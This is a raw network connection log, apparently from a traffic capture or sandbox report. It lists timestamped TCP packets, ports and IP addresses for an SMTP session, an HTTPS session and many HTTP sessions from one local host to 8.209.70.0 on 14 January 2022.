Jan 14, 2022 09:25:35.973290920 CET	49844	25	192.168.2.4	40.93.207.0
Jan 14, 2022 09:25:38.430432081 CET	49850	443	192.168.2.4	185.188.183.61
Jan 14, 2022 09:25:38.430495977 CET	443	49850	185.188.183.61	192.168.2.4
Jan 14, 2022 09:25:38.430613995 CET	49850	443	192.168.2.4	185.188.183.61
Jan 14, 2022 09:25:38.520226955 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.537626982 CET	80	49851	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.538388968 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.538475037 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.538489103 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.555811882 CET	80	49851	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.662930012 CET	80	49851	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.663032055 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.663069010 CET	49851	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.680396080 CET	80	49851	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.704519987 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.721888065 CET	80	49852	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.721992970 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.722124100 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.722151995 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.739370108 CET	80	49852	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.847279072 CET	80	49852	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.847388029 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.847632885 CET	49852	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.864886045 CET	80	49852	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.878071070 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.895535946 CET	80	49853	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:38.895749092 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.895780087 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.895787954 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:38.913175106 CET	80	49853	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.015302896 CET	80	49853	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.015489101 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.015520096 CET	49853	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.032857895 CET	80	49853	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.041713953 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.059096098 CET	80	49854	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.059231997 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.059312105 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.059324980 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.076792955 CET	80	49854	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.181262016 CET	80	49854	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.181303024 CET	80	49854	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.181364059 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.181385994 CET	49854	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.198808908 CET	80	49854	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.210541010 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.228017092 CET	80	49855	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.228156090 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.228256941 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.228267908 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.245532036 CET	80	49855	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.348017931 CET	80	49855	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.348556042 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.348747969 CET	49855	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.365822077 CET	80	49855	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.377938032 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.395339012 CET	80	49856	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.395487070 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.395565033 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.395582914 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.412781000 CET	80	49856	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.518518925 CET	80	49856	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.518631935 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.518798113 CET	49856	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.535937071 CET	80	49856	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.548261881 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.565521955 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.567713022 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.567877054 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.567899942 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.585880041 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.683473110 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.683593035 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.683739901 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.700865984 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.712785959 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.730062962 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.730567932 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.730691910 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.730700016 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.747884035 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.747921944 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.854949951 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.855035067 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.892941952 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.910360098 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.925260067 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.942526102 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:39.942631960 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.942753077 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.942768097 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:39.959918022 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.062221050 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.062333107 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.062485933 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.079730034 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.089323044 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.106745005 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.106849909 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.107053041 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.107069969 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.125323057 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.228782892 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.229449034 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.229504108 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.247920990 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.256967068 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.275465012 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.275703907 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.275806904 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.275823116 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.293962002 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.393764973 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.394022942 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.394352913 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.411591053 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.429831028 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.447272062 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.447374105 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.447556973 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.447616100 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.464941025 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.588501930 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.589250088 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.589442015 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.606728077 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.616281986 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.633666992 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.633776903 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.633964062 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.633999109 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.651262999 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.753663063 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:40.753855944 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.754729033 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:40.772773027 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.089643955 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.107211113 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.108261108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.108424902 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.168745995 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.208834887 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209033966 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209078074 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209120035 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209137917 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.209157944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209187984 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.209199905 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209242105 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209280014 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209311008 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.209320068 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209350109 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.209361076 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.209424019 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.227253914 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248358965 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248414040 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248454094 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248476028 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248492956 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248509884 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248532057 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248570919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248585939 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248613119 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248651028 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248691082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248703957 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248732090 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248733044 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248769999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248811007 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248821974 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248850107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248889923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248905897 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.248930931 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248969078 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.248984098 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.249011040 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.249051094 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.249116898 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.266555071 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.266601086 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.266640902 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.266675949 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.266681910 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.266730070 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.287620068 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287677050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287683010 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.287717104 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287759066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287771940 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.287801027 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287841082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287880898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287894011 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.287919998 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.287938118 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.287961006 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288000107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288038969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288052082 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288079023 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288085938 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288119078 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288158894 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288198948 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288206100 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288238049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288254976 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288278103 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288316965 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288353920 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288372040 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288393974 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288407087 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288434982 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288474083 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288476944 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288513899 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288551092 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288590908 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288602114 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288630009 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288634062 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288667917 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288707018 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288746119 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288758039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288789988 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288836002 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288877010 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288918018 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.288933039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.288955927 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289022923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289062977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289077044 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.289105892 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.289128065 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289167881 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289206982 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289225101 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.289246082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289285898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.289339066 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.306998014 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.307056904 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.307079077 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.307094097 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.307149887 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327126026 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327184916 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327228069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327259064 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327266932 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327307940 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327347994 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327358961 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327385902 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327398062 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327426910 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327466965 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327506065 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327522039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327549934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327550888 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327589035 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327627897 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327667952 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327680111 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327706099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327713013 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327747107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327785969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327815056 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327825069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327867031 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327893972 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327905893 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327945948 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.327975035 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.327985048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328025103 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328039885 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328064919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328104019 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328110933 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328145027 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328186035 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328222990 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328244925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328263044 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328279972 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328303099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328341007 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328371048 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328378916 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328419924 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328433990 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328459978 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328500032 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328540087 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328552008 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328579903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328593016 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328620911 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328659058 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328670025 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328699112 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328738928 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328744888 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328778982 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328819990 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328856945 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328872919 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328896046 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.328896999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328938007 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.328974962 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.329013109 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.329026937 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.329058886 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.346653938 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346714020 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346755981 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346795082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346797943 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.346833944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346875906 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346882105 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.346914053 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346925974 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.346952915 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.346985102 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.347016096 CET	80	49864	8.209.70.0	192.168.2.4
